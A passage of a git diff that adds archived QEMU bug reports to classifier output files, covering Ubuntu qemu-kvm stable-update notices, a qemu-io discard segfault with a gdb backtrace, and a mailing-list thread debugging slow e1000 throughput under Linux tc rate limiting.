(LP: #1078530) + -- Serge Hallyn <email address hidden> Wed, 14 Nov 2012 11:30:14 -0600 + +Hello Robert, or anyone else affected, + +Accepted qemu-kvm into precise-proposed. The package will build now and be available at http://launchpad.net/ubuntu/+source/qemu-kvm/1.0+noroms-0ubuntu14.4 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please change the bug tag from verification-needed to verification-done. If it does not, change the tag to verification-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Hello Robert, or anyone else affected, + +Accepted qemu-kvm into precise-proposed. The package will build now and be available at http://launchpad.net/ubuntu/+source/qemu-kvm/1.0+noroms-0ubuntu14.5 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please change the bug tag from verification-needed to verification-done. If it does not, change the tag to verification-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Hello Robert, or anyone else affected, + +Accepted qemu-kvm into quantal-proposed. The package will build now and be available at http://launchpad.net/ubuntu/+source/qemu-kvm/1.2.0+noroms-0ubuntu2.12.10.1 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please change the bug tag from verification-needed to verification-done. If it does not, change the tag to verification-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Verified on precise. + +Verified on quantal. + +Hello Robert, or anyone else affected, + +Accepted qemu-kvm into precise-proposed. The package will build now and be available at http://launchpad.net/ubuntu/+source/qemu-kvm/1.0+noroms-0ubuntu14.6 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-needed to verification-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Re-verified in precise. + +The verification of this Stable Release Update has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regresssions. + +This bug was fixed in the package qemu-kvm - 1.2.0+noroms-0ubuntu2.12.10.1 + +--------------- +qemu-kvm (1.2.0+noroms-0ubuntu2.12.10.1) quantal-proposed; urgency=low + + [ Serge Hallyn ] + * debian/qemu-kvm.postinst: use udevadm trigger to change /dev/kvm perms as + recommended by Steve Langasek (LP: #1057024) + * apply debian/patches/nbd-fixes-to-read-only-handling.patch from upstream to + make read-write mount after read-only mount work. (LP: #1077838) + * make qemu-kvm depend on udev (LP: #1080912) + + [ Robert Collins ] + * Fix upstart job to succeed if ksm settings can't be altered in the same way + other settings are handled. (LP: #1078530) + -- Serge Hallyn <email address hidden> Mon, 19 Nov 2012 09:15:42 -0600 + +This bug was fixed in the package qemu-kvm - 1.0+noroms-0ubuntu14.6 + +--------------- +qemu-kvm (1.0+noroms-0ubuntu14.6) precise-proposed; urgency=low + + * Fix qemu-kvm.upstart: just don't run in a container. Otherwise we'll + still try to load/unload kernel modules. Also undo the || true after + sysfs writes. Since setting those is a part of configuring qemu-kvm + on the host, failing when they fail makes sense. + +qemu-kvm (1.0+noroms-0ubuntu14.5) precise-proposed; urgency=low + + * add udev to qemu-kvm Depends to ensure that postinst succeeds. + (LP: #1080912) + +qemu-kvm (1.0+noroms-0ubuntu14.4) precise-proposed; urgency=low + + [ Serge Hallyn ] + * debian/qemu-kvm.postinst: use udevadm trigger to change /dev/kvm perms as + recommended by Steve Langasek (LP: #1057024) + * apply debian/patches/nbd-fixes-to-read-only-handling.patch from upstream to + make read-write mount after read-only mount work. (LP: #1077838) + + [ Robert Collins ] + * Fix upstart job to succeed if ksm settings can't be altered in the same way + other settings are handled. (LP: #1078530) + -- Serge Hallyn <email address hidden> Thu, 20 Dec 2012 12:34:52 -0600 + +According to comment #9 this bug has been fixed by this commit here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=c8969eded252058 +... so I think it should be OK to close this bug now. + diff --git a/results/classifier/deepseek-1/output/Software/1728660 b/results/classifier/deepseek-1/output/Software/1728660 new file mode 100644 index 00000000..c337e69a --- /dev/null +++ b/results/classifier/deepseek-1/output/Software/1728660 @@ -0,0 +1,61 @@ + +qemu-io segfaults at block/io.c:2545 + +git is at HEAD a93ece47fd9edbd4558db24300056c9a57d3bcd4 +This is on ppc64le architecture. + +Re-production steps: + +1. Copy the attached file named test.img to a directory +2. And customize the following command to point to the above directory and run the same. +# mv test.img copy.img +# qemu-io <path to>/copy.img -c "discard 108544 97792" + +from gdb: +Program terminated with signal 11, Segmentation fault. +#0 0x00000000100af254 in bdrv_co_pdiscard (bs=0x3ee89ad0, offset=196608, bytes=9728) at block/io.c:2545 +2545 if (bs->drv->bdrv_co_pdiscard) { +Missing separate debuginfos, use: debuginfo-install cyrus-sasl-lib-2.1.26-21.el7.ppc64le glib2-2.50.3-3.el7.ppc64le glibc-2.17-196.el7.ppc64le gmp-6.0.0-15.el7.ppc64le gnutls-3.3.26-9.el7.ppc64le keyutils-libs-1.5.8-3.el7.ppc64le krb5-libs-1.15.1-8.el7.ppc64le libaio-0.3.109-13.el7.ppc64le libcom_err-1.42.9-10.el7.ppc64le libcurl-7.29.0-42.el7.ppc64le libffi-3.0.13-18.el7.ppc64le libgcc-4.8.5-16.el7_4.1.ppc64le libidn-1.28-4.el7.ppc64le libselinux-2.5-11.el7.ppc64le libssh2-1.4.3-10.el7_2.1.ppc64le libstdc++-4.8.5-16.el7_4.1.ppc64le libtasn1-4.10-1.el7.ppc64le nettle-2.7.1-8.el7.ppc64le nspr-4.13.1-1.0.el7_3.ppc64le nss-3.28.4-15.el7_4.ppc64le nss-softokn-freebl-3.28.3-8.el7_4.ppc64le nss-util-3.28.4-3.el7.ppc64le openldap-2.4.44-5.el7.ppc64le openssl-libs-1.0.2k-8.el7.ppc64le p11-kit-0.23.5-3.el7.ppc64le pcre-8.32-17.el7.ppc64le zlib-1.2.7-17.el7.ppc64le +(gdb) bt +#0 0x00000000100af254 in bdrv_co_pdiscard (bs=0x3ee89ad0, offset=196608, bytes=9728) at block/io.c:2545 +#1 0x000000001008f260 in blk_co_pdiscard (blk=0x3ee79410, offset=108544, bytes=97792) at block/block-backend.c:1447 +#2 0x0000000010090884 in blk_pdiscard_entry (opaque=0x3fffd7402c58) at block/block-backend.c:1851 +#3 0x00000000101aa444 in coroutine_trampoline (i0=1055521728, i1=0) at util/coroutine-ucontext.c:79 +#4 0x00003fff7a3d2b9c in makecontext () from /lib64/libc.so.6 +#5 0x0000000000000000 in ?? () +(gdb) bt full +#0 0x00000000100af254 in bdrv_co_pdiscard (bs=0x3ee89ad0, offset=196608, bytes=9728) at block/io.c:2545 + num = 9728 + req = {bs = 0x3ee89ad0, offset = 108544, bytes = 97792, type = BDRV_TRACKED_DISCARD, serialising = false, overlap_offset = 108544, + overlap_bytes = 97792, list = {le_next = 0x0, le_prev = 0x3ee8cd48}, co = 0x3ee9fbc0, wait_queue = {entries = {sqh_first = 0x0, + sqh_last = 0x3fff7823fe10}}, waiting_for = 0x0} + max_pdiscard = 2147467264 + ret = 0 + head = 0 + tail = 9728 + align = 16384 + __PRETTY_FUNCTION__ = "bdrv_co_pdiscard" +#1 0x000000001008f260 in blk_co_pdiscard (blk=0x3ee79410, offset=108544, bytes=97792) at block/block-backend.c:1447 + ret = 0 +#2 0x0000000010090884 in blk_pdiscard_entry (opaque=0x3fffd7402c58) at block/block-backend.c:1851 + rwco = 0x3fffd7402c58 +#3 0x00000000101aa444 in coroutine_trampoline (i0=1055521728, i1=0) at util/coroutine-ucontext.c:79 + arg = {p = 0x3ee9fbc0, i = {1055521728, 0}} + self = 0x3ee9fbc0 + co = 0x3ee9fbc0 +#4 0x00003fff7a3d2b9c in makecontext () from /lib64/libc.so.6 +No symbol table info available. +#5 0x0000000000000000 in ?? () +No symbol table info available. + + + +Hi, + +And once again, thanks a lot for reporting this bug! Here, too, I've found a fix and I'll send a patch once I've written a test case. + +Max + +Fix has been released with QEMU 2.11: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=d470ad42acfc73c45d3e8e + diff --git a/results/classifier/deepseek-1/output/TBF./899140 b/results/classifier/deepseek-1/output/TBF./899140 new file mode 100644 index 00000000..c97de4ba --- /dev/null +++ b/results/classifier/deepseek-1/output/TBF./899140 @@ -0,0 +1,788 @@ + +Problem with Linux Kernel Traffic Control + +Hi, + +The two last main versions of QEMU (0.15 and 1.0) have an important problem when running on a Linux distribution which running itself a Traffic Control (TC) instance. +Indeed, when TC is configured with a Token Bucket Filter (TBF) with a particular rate, the effective rate is very slower than the desired one. + +For instance, lets consider the following configuration : + +# tc qdisc add dev eth0 root tbf rate 20mbit burst 20k latency 50ms + +The effective rate will be about 100kbit/s ! (verified with iperf) +I've encountered this problem on versions 0.15 and 1.0 but not with the 0.14... +In the 0.14, we have a rate of 19.2 mbit/s which is quiet normal. + +I've done the experimentation on several hosts : + +- Debian 32bit core i7, 4GB RAM +- Debian 64bit core i7, 8GB RAM +- 3 different high performance servers : Ubuntu 64 bits, 48 AMD Opteron, 128GB of RAM + +The problem is always the same... The problem is also seen with a Class Based Queuing (CBQ) in TC. + +Thanks + +Hi Vincent, +Please give steps to reproduce the problem including the QEMU +command-lines you used and what commands need to be run inside the +guest and on the host. + +Stefan + + +Hi, + +So, the host command lines are : +*$ qemu -name A -sdl -m 512 -enable-kvm -localtime -k fr -hda +debian1.img -net nic,macaddr=a0:00:00:00:00:01 -net +socket,mcast=230.0.0.1:7000* + +The second is +*$ qemu -name B -sdl -m 512 -enable-kvm -localtime -k fr -hda +debian2.img -net nic,macaddr=a0:00:00:00:00:02 -net +socket,mcast=230.0.0.1:7000* + +On virual machines : + +*root@A# ifconfig eth0 192.168.0.1* +*root@A# tc qdisc add dev eth0 root tbf rate 20mbit burst 20480 latency +50ms* + +*root@B# **ifconfig eth0 192.168.0.2* + +Then if we check with /Iperf/, the real rate will be about 100kbit/s : + +*root@B# iperf -s* + +*root@A# iperf -c 192.168.0.1* + +Vincent + + +Le 02/12/2011 14:34, Stefan Hajnoczi a écrit : +> Hi Vincent, +> Please give steps to reproduce the problem including the QEMU +> command-lines you used and what commands need to be run inside the +> guest and on the host. +> +> Stefan +> + + +On Fri, Dec 2, 2011 at 2:42 PM, Vincent Autefage +<email address hidden> wrote: +> *root@A# tc qdisc add dev eth0 root tbf rate 20mbit burst 20480 latency +> 50ms* +> +> *root@B# **ifconfig eth0 192.168.0.2* +> +> Then if we check with /Iperf/, the real rate will be about 100kbit/s : + +What is the iperf result without tc? It's worth checking what rate +the unlimited interface saturates at before applying tc. Perhaps this +setup is just performing very poorly and it has nothing to do with tc. + +Stefan + + +The result without TC is about 120 Mbit/s. +I check the bandwidth with lot of programs (not only with Iperf) and the +result is also the same.... + +However, if I use the same raw image and the same TC configuration with +the version 0.14.0 of QEMU or with some real physical hosts, the result +with TC is about 19.2 Mbit/s what is the desired result... + +Vincent + + +Le 03/12/2011 19:48, Stefan Hajnoczi a écrit : +> On Fri, Dec 2, 2011 at 2:42 PM, Vincent Autefage +> <email address hidden> wrote: +>> *root@A# tc qdisc add dev eth0 root tbf rate 20mbit burst 20480 latency +>> 50ms* +>> +>> *root@B# **ifconfig eth0 192.168.0.2* +>> +>> Then if we check with /Iperf/, the real rate will be about 100kbit/s : +> What is the iperf result without tc? It's worth checking what rate +> the unlimited interface saturates at before applying tc. Perhaps this +> setup is just performing very poorly and it has nothing to do with tc. +> +> Stefan +> + + +On Sun, Dec 04, 2011 at 03:54:12PM -0000, Vincent Autefage wrote: +> The result without TC is about 120 Mbit/s. +> I check the bandwidth with lot of programs (not only with Iperf) and the +> result is also the same.... +> +> However, if I use the same raw image and the same TC configuration with +> the version 0.14.0 of QEMU or with some real physical hosts, the result +> with TC is about 19.2 Mbit/s what is the desired result... + +Thanks for checking if tc is involved in this bug. + +Git bisect can identify which commit introduced the bug between QEMU +0.14.0 and 0.14.1. The following steps show how to do this: + +Clone the QEMU git repository: +$ git clone git://git.qemu.org/qemu.git +$ cd qemu + +Double-check that 0.14.1 has the bug: +$ git checkout v0.14.1 +$ make distclean +$ ./configure --target-list=x86_64-softmmu +$ make +$ # test x86_64-softmmu/qemu-system-x86_64 binary + +Double-check that 0.14.0 does *not* have the bug: +$ git checkout v0.14.0 +$ make distclean +$ ./configure --target-list=x86_64-softmmu +$ make +$ # test x86_64-softmmu/qemu-system-x86_64 binary + +Now you can be confident that 0.14.0 and 0.14.1 do indeed behave +differently when built from source. It's time to perform the bisect, +you can read more about what this does in the git-bisect(1) man page. + +Find the commit that introduced the bug: +$ git bisect start v0.14.1 0.14.0 +$ make distclean +$ ./configure --target-list=x86_64-softmmu +$ make +$ # test x86_64-softmmu/qemu-system-x86_64 binary + +If tc achieves ~20 Mbit/s: +$ git bisect good + +Otherwise: +$ git bisect bad + +Git bisect will keep splitting the commit history in half until it +reaches the point where QEMU's behavior changes from good to bad. So +you typically need to build and test a couple of times until the guilty +commit has been identified. + +Stefan + + +Hi, + +So we have another problem... +The thing is that the 0.14.0 (and all 0.14.0 rc) built from GIT has the +same problem. +However, the package 0.14.0 from Ubuntu does not has this bug... + + +Le 05/12/2011 09:26, Stefan Hajnoczi a écrit : +> On Sun, Dec 04, 2011 at 03:54:12PM -0000, Vincent Autefage wrote: +>> The result without TC is about 120 Mbit/s. +>> I check the bandwidth with lot of programs (not only with Iperf) and the +>> result is also the same.... +>> +>> However, if I use the same raw image and the same TC configuration with +>> the version 0.14.0 of QEMU or with some real physical hosts, the result +>> with TC is about 19.2 Mbit/s what is the desired result... +> Thanks for checking if tc is involved in this bug. +> +> Git bisect can identify which commit introduced the bug between QEMU +> 0.14.0 and 0.14.1. The following steps show how to do this: +> +> Clone the QEMU git repository: +> $ git clone git://git.qemu.org/qemu.git +> $ cd qemu +> +> Double-check that 0.14.1 has the bug: +> $ git checkout v0.14.1 +> $ make distclean +> $ ./configure --target-list=x86_64-softmmu +> $ make +> $ # test x86_64-softmmu/qemu-system-x86_64 binary +> +> Double-check that 0.14.0 does *not* have the bug: +> $ git checkout v0.14.0 +> $ make distclean +> $ ./configure --target-list=x86_64-softmmu +> $ make +> $ # test x86_64-softmmu/qemu-system-x86_64 binary +> +> Now you can be confident that 0.14.0 and 0.14.1 do indeed behave +> differently when built from source. It's time to perform the bisect, +> you can read more about what this does in the git-bisect(1) man page. +> +> Find the commit that introduced the bug: +> $ git bisect start v0.14.1 0.14.0 +> $ make distclean +> $ ./configure --target-list=x86_64-softmmu +> $ make +> $ # test x86_64-softmmu/qemu-system-x86_64 binary +> +> If tc achieves ~20 Mbit/s: +> $ git bisect good +> +> Otherwise: +> $ git bisect bad +> +> Git bisect will keep splitting the commit history in half until it +> reaches the point where QEMU's behavior changes from good to bad. So +> you typically need to build and test a couple of times until the guilty +> commit has been identified. +> +> Stefan +> + + +On Mon, Dec 5, 2011 at 10:45 AM, Vincent Autefage +<email address hidden> wrote: +> So we have another problem... +> The thing is that the 0.14.0 (and all 0.14.0 rc) built from GIT has the +> same problem. +> However, the package 0.14.0 from Ubuntu does not has this bug... + +Okay, that's actually a good thing because the issue is now isolated +to two similar builds: 0.14.0 from source and 0.14.0 from Ubuntu. + +Either there is an environmental difference in the build configuration +or Ubuntu has applied patches on top of vanilla 0.14.0. + +I think the next step is to grab the Ubuntu 0.14.0 source package and +rebuild it to confirm that it does *not* have the bug. + +Then it's just a matter of figuring out what the difference is by a +(manual) bisection. + +Are you using qemu-kvm? I found Ubuntu's 0.14.0-based package here: +http://packages.ubuntu.com/natty/qemu-kvm + +Stefan + + +Yes this is the package that seems to not include the bug. +I'm going to check sources of this package. + +Vincent Autefage + + +Le 05/12/2011 12:11, Stefan Hajnoczi a écrit : +> On Mon, Dec 5, 2011 at 10:45 AM, Vincent Autefage +> <email address hidden> wrote: +>> So we have another problem... +>> The thing is that the 0.14.0 (and all 0.14.0 rc) built from GIT has the +>> same problem. +>> However, the package 0.14.0 from Ubuntu does not has this bug... +> Okay, that's actually a good thing because the issue is now isolated +> to two similar builds: 0.14.0 from source and 0.14.0 from Ubuntu. +> +> Either there is an environmental difference in the build configuration +> or Ubuntu has applied patches on top of vanilla 0.14.0. +> +> I think the next step is to grab the Ubuntu 0.14.0 source package and +> rebuild it to confirm that it does *not* have the bug. +> +> Then it's just a matter of figuring out what the difference is by a +> (manual) bisection. +> +> Are you using qemu-kvm? I found Ubuntu's 0.14.0-based package here: +> http://packages.ubuntu.com/natty/qemu-kvm +> +> Stefan +> + + +Well.... + +I've compiled the ubuntu package. +When I've launched qemu, I've got this : +* +*$ *qemu-system-x86_64 -hda debian.img -m 512 +qemu: could not load PC BIOS 'bios.bin' +** +*I've checked the content of the *pc-bios* directory and no bios are +generated but I've got strange file like : +**.bin +*.dtb +openbios-* +* +I think that the *configure* interprets the *** as a base character... +Therefore, I've copied the content of*pc-bios* directory of 0.15.1 in +the *pc-bios* directory of 0.14.0 + +Finally, the bug of rate have disappeared !! +*Iperf* gave me a rate of 19mbit which is the desired rate. + +Vincent + + +Le 05/12/2011 12:11, Stefan Hajnoczi a écrit : +> On Mon, Dec 5, 2011 at 10:45 AM, Vincent Autefage +> <email address hidden> wrote: +>> So we have another problem... +>> The thing is that the 0.14.0 (and all 0.14.0 rc) built from GIT has the +>> same problem. +>> However, the package 0.14.0 from Ubuntu does not has this bug... +> Okay, that's actually a good thing because the issue is now isolated +> to two similar builds: 0.14.0 from source and 0.14.0 from Ubuntu. +> +> Either there is an environmental difference in the build configuration +> or Ubuntu has applied patches on top of vanilla 0.14.0. +> +> I think the next step is to grab the Ubuntu 0.14.0 source package and +> rebuild it to confirm that it does *not* have the bug. +> +> Then it's just a matter of figuring out what the difference is by a +> (manual) bisection. +> +> Are you using qemu-kvm? I found Ubuntu's 0.14.0-based package here: +> http://packages.ubuntu.com/natty/qemu-kvm +> +> Stefan +> + + +Well, + +I have checked differences between the GIT repository (V0.14.0) and the +Ubuntu version (V0.14.0) and generated patch diff file. +The patch contains about 5000 lines... + +What's the next step ? + +Vincent + + +Le 05/12/2011 12:11, Stefan Hajnoczi a écrit : +> On Mon, Dec 5, 2011 at 10:45 AM, Vincent Autefage +> <email address hidden> wrote: +>> So we have another problem... +>> The thing is that the 0.14.0 (and all 0.14.0 rc) built from GIT has the +>> same problem. +>> However, the package 0.14.0 from Ubuntu does not has this bug... +> Okay, that's actually a good thing because the issue is now isolated +> to two similar builds: 0.14.0 from source and 0.14.0 from Ubuntu. +> +> Either there is an environmental difference in the build configuration +> or Ubuntu has applied patches on top of vanilla 0.14.0. +> +> I think the next step is to grab the Ubuntu 0.14.0 source package and +> rebuild it to confirm that it does *not* have the bug. +> +> Then it's just a matter of figuring out what the difference is by a +> (manual) bisection. +> +> Are you using qemu-kvm? I found Ubuntu's 0.14.0-based package here: +> http://packages.ubuntu.com/natty/qemu-kvm +> +> Stefan +> + + +I've just checked the problem with a *ne2k_pci* instead of the default +e1000 and the problem does not exist with the *ne2k_pci*... (Version +0.14-1 of qemu) + +I'm going to check other cards right now + +Vincent + + +Le 05/12/2011 12:11, Stefan Hajnoczi a écrit : +> On Mon, Dec 5, 2011 at 10:45 AM, Vincent Autefage +> <email address hidden> wrote: +>> So we have another problem... +>> The thing is that the 0.14.0 (and all 0.14.0 rc) built from GIT has the +>> same problem. +>> However, the package 0.14.0 from Ubuntu does not has this bug... +> Okay, that's actually a good thing because the issue is now isolated +> to two similar builds: 0.14.0 from source and 0.14.0 from Ubuntu. +> +> Either there is an environmental difference in the build configuration +> or Ubuntu has applied patches on top of vanilla 0.14.0. +> +> I think the next step is to grab the Ubuntu 0.14.0 source package and +> rebuild it to confirm that it does *not* have the bug. +> +> Then it's just a matter of figuring out what the difference is by a +> (manual) bisection. +> +> Are you using qemu-kvm? I found Ubuntu's 0.14.0-based package here: +> http://packages.ubuntu.com/natty/qemu-kvm +> +> Stefan +> + + +On Wed, Dec 14, 2011 at 1:36 PM, Vincent Autefage +<email address hidden> wrote: +> I have checked differences between the GIT repository (V0.14.0) and the +> Ubuntu version (V0.14.0) and generated patch diff file. +> The patch contains about 5000 lines... +> +> What's the next step ? + +Okay, so when you rebuild the Ubuntu package from source the bug is +not present and the largish diff suggests they have added patches on +top of vanilla 0.14.0. + +If the Ubuntu source ships with a number of .diff/.patch files that +get applied during the build then you could manually bisect this. +That means rerunning the Ubuntu build but with only the first half of +the list of patches applied. If that has the bug then split the +untested patches in half too and continue the test cycle. If the bug +is not present then split the patches in half and continue testing +until you reach the point where the bug goes from present to fixed. + +Stefan + + +Ok so the *Intel e1000* seems the only card which is impacted by the bug. + +Vincent + + +Le 05/12/2011 12:11, Stefan Hajnoczi a écrit : +> On Mon, Dec 5, 2011 at 10:45 AM, Vincent Autefage +> <email address hidden> wrote: +>> So we have another problem... +>> The thing is that the 0.14.0 (and all 0.14.0 rc) built from GIT has the +>> same problem. +>> However, the package 0.14.0 from Ubuntu does not has this bug... +> Okay, that's actually a good thing because the issue is now isolated +> to two similar builds: 0.14.0 from source and 0.14.0 from Ubuntu. +> +> Either there is an environmental difference in the build configuration +> or Ubuntu has applied patches on top of vanilla 0.14.0. +> +> I think the next step is to grab the Ubuntu 0.14.0 source package and +> rebuild it to confirm that it does *not* have the bug. +> +> Then it's just a matter of figuring out what the difference is by a +> (manual) bisection. +> +> Are you using qemu-kvm? I found Ubuntu's 0.14.0-based package here: +> http://packages.ubuntu.com/natty/qemu-kvm +> +> Stefan +> + + +On Wed, Dec 14, 2011 at 02:42:12PM -0000, Vincent Autefage wrote: +> Ok so the *Intel e1000* seems the only card which is impacted by the +> bug. + +Let me recap with a summary of your debugging: + +QEMU 0.14.0, 0.15.0, and 1.0 built from source all have poor network +performance below a 20 Mbit/s limit set with tc inside the guest. + +Ubuntu's 0.14.0 QEMU package does not have poor network performance. + +This problem only occurs with the emulated e1000 device. All other +emulated NICs operate correctly. + +Now you could diff the e1000 emulation code to get the code changes +between vanilla and Ubuntu: + + $ diff -u qemu-0.14.0-vanilla/hw/e1000.c qemu-0.14.0-ubuntu/hw/e1000.c + +(It's possible that there are no significant changes and this bug is +caused by something outside e1000.c but this is place to check first.) + +Or you could even try copying Ubuntu's e1000.c into the vanilla QEMU +source tree and retesting to see if the behavior changes. + +Stefan + + +Ok, + +So the e1000.c and the e1000_hw.h have absolutely no difference between +the original and the ubuntu version... +The only differences witch refers to the *Intel e1000* in the wall +sources is this one : + + +diff -ru qemu//hw/pc_piix.c qemu-kvm-0.14.0+noroms//hw/pc_piix.c +--- qemu//hw/pc_piix.c 2011-12-15 15:37:28.539290000 +0100 ++++ qemu-kvm-0.14.0+noroms//hw/pc_piix.c 2011-02-22 +14:34:38.000000000 +0100 + +@@ -123,7 +141,7 @@ + if (!pci_enabled || (nd->model && strcmp(nd->model, +"ne2k_isa") == 0)) + pc_init_ne2k_isa(nd); + else +- pci_nic_init_nofail(nd, "e1000", NULL); ++ pci_nic_init_nofail(nd, "rtl8139", NULL); + } + + if (drive_get_max_bus(IF_IDE) >= MAX_IDE_BUS) { + + +Vincent + + +Le 15/12/2011 09:07, Stefan Hajnoczi a écrit : +> On Wed, Dec 14, 2011 at 02:42:12PM -0000, Vincent Autefage wrote: +>> Ok so the *Intel e1000* seems the only card which is impacted by the +>> bug. +> Let me recap with a summary of your debugging: +> +> QEMU 0.14.0, 0.15.0, and 1.0 built from source all have poor network +> performance below a 20 Mbit/s limit set with tc inside the guest. +> +> Ubuntu's 0.14.0 QEMU package does not have poor network performance. +> +> This problem only occurs with the emulated e1000 device. All other +> emulated NICs operate correctly. +> +> Now you could diff the e1000 emulation code to get the code changes +> between vanilla and Ubuntu: +> +> $ diff -u qemu-0.14.0-vanilla/hw/e1000.c qemu-0.14.0-ubuntu/hw/e1000.c +> +> (It's possible that there are no significant changes and this bug is +> caused by something outside e1000.c but this is place to check first.) +> +> Or you could even try copying Ubuntu's e1000.c into the vanilla QEMU +> source tree and retesting to see if the behavior changes. +> +> Stefan +> + + +On Thu, Dec 15, 2011 at 3:03 PM, Vincent Autefage +<email address hidden> wrote: +> Ok, +> +> So the e1000.c and the e1000_hw.h have absolutely no difference between +> the original and the ubuntu version... +> The only differences witch refers to the *Intel e1000* in the wall +> sources is this one : +> +> +> diff -ru qemu//hw/pc_piix.c qemu-kvm-0.14.0+noroms//hw/pc_piix.c +> --- qemu//hw/pc_piix.c 2011-12-15 15:37:28.539290000 +0100 +> +++ qemu-kvm-0.14.0+noroms//hw/pc_piix.c 2011-02-22 +> 14:34:38.000000000 +0100 +> +> @@ -123,7 +141,7 @@ +> if (!pci_enabled || (nd->model && strcmp(nd->model, +> "ne2k_isa") == 0)) +> pc_init_ne2k_isa(nd); +> else +> - pci_nic_init_nofail(nd, "e1000", NULL); +> + pci_nic_init_nofail(nd, "rtl8139", NULL); +> } +> +> if (drive_get_max_bus(IF_IDE) >= MAX_IDE_BUS) { + +That looks like it is only changing the default NIC from e1000 to rtl8139. + +Stefan + + +On Thu, Dec 15, 2011 at 4:09 PM, Stefan Hajnoczi <email address hidden> wrote: +> On Thu, Dec 15, 2011 at 3:03 PM, Vincent Autefage +> <email address hidden> wrote: +>> Ok, +>> +>> So the e1000.c and the e1000_hw.h have absolutely no difference between +>> the original and the ubuntu version... +>> The only differences witch refers to the *Intel e1000* in the wall +>> sources is this one : +>> +>> +>> diff -ru qemu//hw/pc_piix.c qemu-kvm-0.14.0+noroms//hw/pc_piix.c +>> --- qemu//hw/pc_piix.c 2011-12-15 15:37:28.539290000 +0100 +>> +++ qemu-kvm-0.14.0+noroms//hw/pc_piix.c 2011-02-22 +>> 14:34:38.000000000 +0100 +>> +>> @@ -123,7 +141,7 @@ +>> if (!pci_enabled || (nd->model && strcmp(nd->model, +>> "ne2k_isa") == 0)) +>> pc_init_ne2k_isa(nd); +>> else +>> - pci_nic_init_nofail(nd, "e1000", NULL); +>> + pci_nic_init_nofail(nd, "rtl8139", NULL); +>> } +>> +>> if (drive_get_max_bus(IF_IDE) >= MAX_IDE_BUS) { +> +> That looks like it is only changing the default NIC from e1000 to rtl8139. + +Perhaps you can stop Ubuntu from applying its patches on top of +vanilla QEMU but still use the same build process. In other words, +try building the vanilla QEMU source but using Ubuntu's method (not +sure if you are using dpkg build tools here). If it turns out the +binary does not have the bug then we know it's an environmental issue +like a ./configure difference or similar. + +Stefan + + +Here is the problem ! + +The Ubuntu version works only because it not uses an *Intel e1000* but a +*rtl8139*. +Therefore, the problem about the e1000 is present in *all* version +(original or ubuntu ones). + +Thus, the file *e1000.c* must contain some instructions which imply the +bad TC behavior. + +Vincent + +Le 15/12/2011 17:09, Stefan Hajnoczi a écrit : +> On Thu, Dec 15, 2011 at 3:03 PM, Vincent Autefage +> <email address hidden> wrote: +>> Ok, +>> +>> So the e1000.c and the e1000_hw.h have absolutely no difference between +>> the original and the ubuntu version... +>> The only differences witch refers to the *Intel e1000* in the wall +>> sources is this one : +>> +>> +>> diff -ru qemu//hw/pc_piix.c qemu-kvm-0.14.0+noroms//hw/pc_piix.c +>> --- qemu//hw/pc_piix.c 2011-12-15 15:37:28.539290000 +0100 +>> +++ qemu-kvm-0.14.0+noroms//hw/pc_piix.c 2011-02-22 +>> 14:34:38.000000000 +0100 +>> +>> @@ -123,7 +141,7 @@ +>> if (!pci_enabled || (nd->model&& strcmp(nd->model, +>> "ne2k_isa") == 0)) +>> pc_init_ne2k_isa(nd); +>> else +>> - pci_nic_init_nofail(nd, "e1000", NULL); +>> + pci_nic_init_nofail(nd, "rtl8139", NULL); +>> } +>> +>> if (drive_get_max_bus(IF_IDE)>= MAX_IDE_BUS) { +> That looks like it is only changing the default NIC from e1000 to +> rtl8139. +> +> Stefan +> + + +On Thu, Dec 15, 2011 at 04:48:13PM -0000, Vincent Autefage wrote: +> Here is the problem ! +> +> The Ubuntu version works only because it not uses an *Intel e1000* but a +> *rtl8139*. +> Therefore, the problem about the e1000 is present in *all* version +> (original or ubuntu ones). +> +> Thus, the file *e1000.c* must contain some instructions which imply the +> bad TC behavior. + +You are right! Looking back at your QEMU command-line you are not +explicitly specifying the NIC model so the default will take effect. + +Now we're back to square one: e1000.c performs poorly when the tc +command you posted is used. We don't know why yet. + +Michael: Have you ever encountered unexpectedly low throughput when tc +is used inside the guest? + +# tc qdisc add dev eth0 root tbf rate 20mbit burst 20k latency 50ms + +The observed throughput from iperf is only 100kbit/s, not around +20mbit/s as expected. When tc is not run inside the guest then the NIC +saturates 20mbit/s easily. + +Stefan + + +Hi guys, + +I'm having the same problem with a ubuntu 11.04 (natty) host. I tried to set the rate controllers using tc both at the host and inside the guest i.e.: + +tc qdisc add vnic0 root tbf rate 20mbit burst 20480 latency 50ms (host - to control the traffic going to the guest vm) and +tc qdisc add eth0 root tbf rate 20mbit burst 20480 latency 50ms (guest) + +And the results are the same reported initially: ~140kbit/sec. I also tried to use policing filters at the host 